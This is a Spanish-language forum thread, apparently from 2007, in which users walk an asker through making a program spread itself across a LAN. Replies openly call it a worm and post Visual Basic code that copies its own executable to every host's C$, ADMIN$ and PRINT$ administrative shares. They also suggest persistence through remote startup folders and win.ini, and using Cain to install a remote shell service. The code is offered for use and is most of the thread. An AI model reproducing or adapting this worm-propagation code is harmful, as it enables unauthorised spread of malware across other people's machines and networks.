Hola
bueno, tengo un programa y me gustaria que se instalara en todas las Pcs de mi red lan (logicamente ejecutandolo en la pc administradora) seria posible?
aver si algien me guia un poco
saludos
Supongo que lo primero que tendrias que hacer seria obtener las maquinas en red con su ip, luego hacer que el programa se copie a cada una de las pc's...
Cualkier otra cosa avisanos! ::)
Sancho.Mazorka :¬¬
si asta ay llego, de echo ya tengo todas las ip's de la red lan ;D pero no se como hacer que lo copie en cada una de ellas (de ay mi post)
Pues kizas por net bios puedas hacer algo, eso si, este protocolo deberia estar activado en todos los pc's. Si buscas en este foro recuerdo q alguien puso un code para propagarnos por net ios en VB.
Es facil, te explico lo que yo haría...
1) Hacer que el virus recoja info del PC: IP local y Mascara de subred (por ejemplo haciendo un ipconfig /all y depurando la salida).
2) Calcular cuantos equipos hay en la lan a partir de la máscara de subred, por ejemplo:
Citar
Direccion: 192.168.10.58
Mascara: 255.255.255.0
Con estos datos sabrás que hay IP's comprendidas entre: 192.168.10.1 hasta 192.168.10.254
3) Empezar un bucle bestial de este tipo:
For i = 1 To 255
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\C$" 'C:\
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\D$" 'D:\
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\E$" 'E:\
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\F$" 'F:\
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\G$" 'G:\
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\ADMIN$" 'C:\Windows
FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\PRINT$" 'C:\WINDOWS\system32\spool\drivers
Next i
Ahora te lo puedes currar y editar los archivos de inicio de forma remota (copiando archivos en la carpeta inicio, modificando win.ini, etc...)
No hay que decir que necesitas permisos administrativos en la lan para poder hacer esto :P
5) Y para rizar el rizo, tendrías que encontrar el comando que te permite ver los recursos que comparte un equipo, te doy una pista...
Citar
net view [\\nombre_pc] te da todos sus recursos xD
Saludos!! y no seas malo haciendo lanworm's :xD
Si que se puede, el Cain es capaz de instalar un servicio en la maquina remota que te permite ejecutar la Shell, por lo que supongo que tambien se podrá copiar y ejecutar otro programa cualquiera...
salduos ;) ;)
algien sabe de alguna api o algun code que me permita listar las ips de una red lan?
saludos
Cita de: Saok Dagon en 9 Abril 2007, 17:22 PM
algien sabe de alguna api o algun code que me permita listar las ips de una red lan?
saludos
Como te he dicho... las IP's de una LAN se consiguen haciendo la operación lógica AND entre la IP y la Mascara de Subred. Aunque si no te lo quieres currar tanto simplemente mira que la mascara sea 255.255.255.0 (es la más común) con esto sabrás que hay tantas IP's como 0's hay en la máscara.
Lee un poco en wikipedia y lo entenderás facil, explicarlo por aqui es complicado xD
Saludos!!
sisi, si ya lo entendi antes, es simple, pero el problema es que si por ejemplo la ip es 196.36.56.6 el VB me devuelva 196.36.56 y luego ya con los calculos de la mascara subred y la ip que me devolvio acer 196.36.56. & X
luego lo otro ya me resulta mas facil, solo me falta eso.
saludos
Aqui el código completo para hacer que nuestro worm se extiendo en una red LAN con una subred de clase C (la más común). Te puedes fijar que no he extraido ni la máscara ni he hecho el calculo, pues el 70% de las redes comunes son de clase C (A.B.C.?)
Private Sub Form_Load()
Dim MyIP As String, HackIP As String
Dim Octets() As String
Dim i As Integer
MyIP = Winsock1.LocalIP
If MyIP Then
Octets = Split(MyIP, ".")
Else
MsgBox "No se puede obtener tu dirección IP"
End If
If UBound(Octets) > 0 Then
On Error Resume Next
For i = 1 To 10
HackIP = "\\" & Octets(0) & "." & Octets(1) & "." & Octets(2) & "." & i
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\C$\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\D$\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\E$\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\F$\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\G$\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\ADMIN$\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\PRINT$\" & App.EXEName & ".exe"
Next i
Else
MsgBox "Error grave. Formato de IP no válida (¿Posiblemente IPv6?)"
End If
End Sub
La próxima vez intenta hacrlo tu mismo, seguramente no te saldrá, postea tu código y la línea de error y entre todos te ayudamos. La única forma de aprender es intentarlo, no busques siempre algo ya codeado porque no lo encontrarás siempre
Saludos!! :)
Hola
weno, gracias, pero ami con averme dicho que usar para obtenerlo ya abria sacado el codigo ^^ pero gracias igualmente
saludos